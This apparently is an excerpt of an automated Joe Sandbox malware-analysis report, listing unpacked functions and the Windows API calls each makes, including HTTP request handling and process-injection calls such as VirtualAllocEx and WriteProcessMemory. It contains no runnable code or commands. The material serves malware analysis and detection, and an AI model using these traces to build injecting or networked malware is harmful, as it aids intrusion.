    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00412D83, Relevance: 6.2, APIs: 4, Instructions: 231
    APIs
    • LoadAcceleratorsW.USER32 ref: 00412D83
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00412E73
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00412E20, Relevance: 6.2, APIs: 4, Instructions: 218
    APIs
    • SendDlgItemMessageW.USER32 ref: 00412E20
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00412E73
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC487D, Relevance: 6.2, APIs: 4, Instructions: 194
    APIs
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 00BC493D
      • Part of subcall function 00BBC6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00BBC6C6
      • Part of subcall function 00BBC6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BBC748
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00BC49F6
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BBC7BB: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00BCC5CF,?), ref: 00BBC7D3
      • Part of subcall function 00BBC7BB: RegCloseKey.ADVAPI32(?), ref: 00BBC7E1
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00BC4A8C
    • RegCloseKey.ADVAPI32(?), ref: 00BC4A9D
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042487D, Relevance: 6.2, APIs: 4, Instructions: 194
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 0042493D
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 004249F6
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 0041C7BB: RegQueryValueExW.ADVAPI32(?,?,00000000,?,0042C5CF,?), ref: 0041C7D3
      • Part of subcall function 0041C7BB: RegCloseKey.ADVAPI32(?), ref: 0041C7E1
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00424A8C
    • RegCloseKey.ADVAPI32(?), ref: 00424A9D
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041604B, Relevance: 6.2, APIs: 4, Instructions: 182
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004161A5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00407F64, Relevance: 6.2, APIs: 4, Instructions: 162
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00407F76
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041609A, Relevance: 6.1, APIs: 4, Instructions: 147
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004161A5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004116DC, Relevance: 6.1, APIs: 4, Instructions: 146
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040891D, Relevance: 6.1, APIs: 4, Instructions: 145
    APIs
    • LocalFree.KERNEL32 ref: 00408959
      • Part of subcall function 0042BBC0: GetCurrentThreadId.KERNEL32 ref: 0042BBCA
      • Part of subcall function 0042BBC0: GetThreadDesktop.USER32 ref: 0042BBD1
      • Part of subcall function 0042BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 0042BBEB
      • Part of subcall function 00414AC6: GetCurrentThread.KERNEL32 ref: 00414AD3
      • Part of subcall function 00414AC6: SetThreadPriority.KERNEL32 ref: 00414ADA
      • Part of subcall function 00414AC6: SetEvent.KERNEL32 ref: 00414AEC
      • Part of subcall function 00414AC6: SetEvent.KERNEL32 ref: 00414B39
      • Part of subcall function 00414AC6: GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00414B46
    • Sleep.KERNEL32(0000000A), ref: 00408AAD
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BA4D
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA5D
      • Part of subcall function 0042BA3D: TlsFree.KERNEL32 ref: 0042BA68
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA76
      • Part of subcall function 0042BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32 ref: 0042BA8D
      • Part of subcall function 0042BA3D: SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BAB8
      • Part of subcall function 0042BA3D: DeleteDC.GDI32(00000000), ref: 0042BAC5
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BAD6
      • Part of subcall function 0042BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
      • Part of subcall function 0042BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
    • Sleep.KERNEL32(000000FF), ref: 004089A1
    • ExitProcess.KERNEL32(00000000,00000000), ref: 004089B3
    • NtClose.NTDLL(?,?,00000000), ref: 00408A9E
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041302D, Relevance: 6.1, APIs: 4, Instructions: 144
    APIs
    • lstrcpyW.KERNEL32 ref: 0041302D
    • LocalFree.KERNEL32 ref: 00413033
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC7D9B, Relevance: 6.1, APIs: 4, Instructions: 143
    APIs
      • Part of subcall function 00BC7C82: HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 00BC7CE1
      • Part of subcall function 00BC1A14: EnterCriticalSection.KERNEL32(00BD3FEC,?,00000000,00000000), ref: 00BC1A2F
      • Part of subcall function 00BC1A14: LeaveCriticalSection.KERNEL32(00BD3FEC,?,00000000,00000000), ref: 00BC1AB2
      • Part of subcall function 00BC1A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00BC1C6F
      • Part of subcall function 00BC1A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00BC1DEB
    • SetLastError.KERNEL32(00002F78,?), ref: 00BC7DFA
      • Part of subcall function 00BC70E4: EnterCriticalSection.KERNEL32(00BD40F8,?,?,00BC789F), ref: 00BC70EE
      • Part of subcall function 00BC70E4: LeaveCriticalSection.KERNEL32(00BD40F8,?,00BC789F), ref: 00BC710F
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000,?), ref: 00BC7E8B
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00BC7EA6
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00BC7EC1
      • Part of subcall function 00BBA124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00BBA146
      • Part of subcall function 00BBA124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00BBA168
      • Part of subcall function 00BBA124: InternetCloseHandle.WININET(?), ref: 00BBA170
      • Part of subcall function 00BC26E6: CreateThread.KERNEL32(00000000,00000000,Function_000224CC,?), ref: 00BC272B
      • Part of subcall function 00BC26E6: CloseHandle.KERNEL32(?), ref: 00BC2744
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BC711A: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BC7142
      • Part of subcall function 00BC711A: InterlockedIncrement.KERNEL32(00BD4120,?,?), ref: 00BC716A
      • Part of subcall function 00BC711A: EnterCriticalSection.KERNEL32(00BD40F8,?,?,?,00000001,00BC7E1C,?), ref: 00BC7176
      • Part of subcall function 00BC711A: LeaveCriticalSection.KERNEL32(00BD40F8,?,?,?,00000001,00BC7E1C,?), ref: 00BC718C
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00427D9B, Relevance: 6.1, APIs: 4, Instructions: 143
    APIs
      • Part of subcall function 00427C82: HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 00427CE1
      • Part of subcall function 00421A14: EnterCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421A2F
      • Part of subcall function 00421A14: LeaveCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421AB2
      • Part of subcall function 00421A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421C6F
      • Part of subcall function 00421A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421DEB
    • SetLastError.KERNEL32(00002F78,?), ref: 00427DFA
      • Part of subcall function 004270E4: EnterCriticalSection.KERNEL32(004340F8,?,?,0042789F), ref: 004270EE
      • Part of subcall function 004270E4: LeaveCriticalSection.KERNEL32(004340F8,?,0042789F), ref: 0042710F
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000,?), ref: 00427E8B
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00427EA6
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00427EC1
      • Part of subcall function 0041A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 0041A146
      • Part of subcall function 0041A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 0041A168
      • Part of subcall function 0041A124: InternetCloseHandle.WININET(?), ref: 0041A170
      • Part of subcall function 004226E6: CreateThread.KERNEL32(00000000,00000000,Function_000224CC,?), ref: 0042272B
      • Part of subcall function 004226E6: CloseHandle.KERNEL32(?), ref: 00422744
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0042711A: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00427142
      • Part of subcall function 0042711A: InterlockedIncrement.KERNEL32(00434120,?,?), ref: 0042716A
      • Part of subcall function 0042711A: EnterCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 00427176
      • Part of subcall function 0042711A: LeaveCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 0042718C
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040EA59, Relevance: 6.1, APIs: 4, Instructions: 140
    APIs
    • MapViewOfFile.KERNEL32 ref: 0040EA59
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00407FE2, Relevance: 6.1, APIs: 4, Instructions: 138
    APIs
    • GetSubMenu.USER32 ref: 00407FE2
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00413070, Relevance: 6.1, APIs: 4, Instructions: 134
    APIs
    • TranslateAcceleratorW.USER32 ref: 00413070
    • GetSaveFileNameW.COMDLG32 ref: 00413076
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BA8C09, Relevance: 6.1, APIs: 4, Instructions: 130
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00BA8C30
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • GetFileAttributesW.KERNEL32(?), ref: 00BA8C84
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
    • GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00BA8CE7
    • GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00BA8D15
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408C09, Relevance: 6.1, APIs: 4, Instructions: 130
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00408C30
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • GetFileAttributesW.KERNEL32(?), ref: 00408C84
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00408CE7
    • GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00408D15
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00411ACB, Relevance: 6.1, APIs: 4, Instructions: 117
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004130D1, Relevance: 6.1, APIs: 4, Instructions: 116
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E0DD, Relevance: 6.1, APIs: 4, Instructions: 113
    APIs
    • GetOpenFileNameW.COMDLG32 ref: 0040E0DD
    • GetTimeFormatW.KERNEL32 ref: 0040E0E3
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00410885, Relevance: 6.1, APIs: 4, Instructions: 113
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC6166, Relevance: 6.1, APIs: 4, Instructions: 95
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00BC6181
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00BC619F
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00BC61AD
    • IsBadReadPtr.KERNEL32(?,00000010), ref: 00BC623C
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBCE96, Relevance: 6.1, APIs: 4, Instructions: 94
    APIs
    • IsBadReadPtr.KERNEL32(00BA0000,?), ref: 00BBCEB2
    • VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 00BBCED0
    • WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 00BBCF62
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00BBCF87
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041CE96, Relevance: 6.1, APIs: 4, Instructions: 94
    APIs
    • IsBadReadPtr.KERNEL32(00400000,?), ref: 0041CEB2
    • VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 0041CED0
    • WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0041CF62
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0041CF87
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBF911, Relevance: 6.1, APIs: 4, Instructions: 86
    APIs
    • CoCreateInstance.OLE32(00BA1620,00000000,00004401,00BA1610,?), ref: 00BBF937
    • #8.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00BBF983
    • #2.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00BBF993
    • #9.OLEAUT32(?,?,00000000,?,?,?,?,?,?,?,00BC5872,?,?,?), ref: 00BBF9CC
    Memory Dump Source
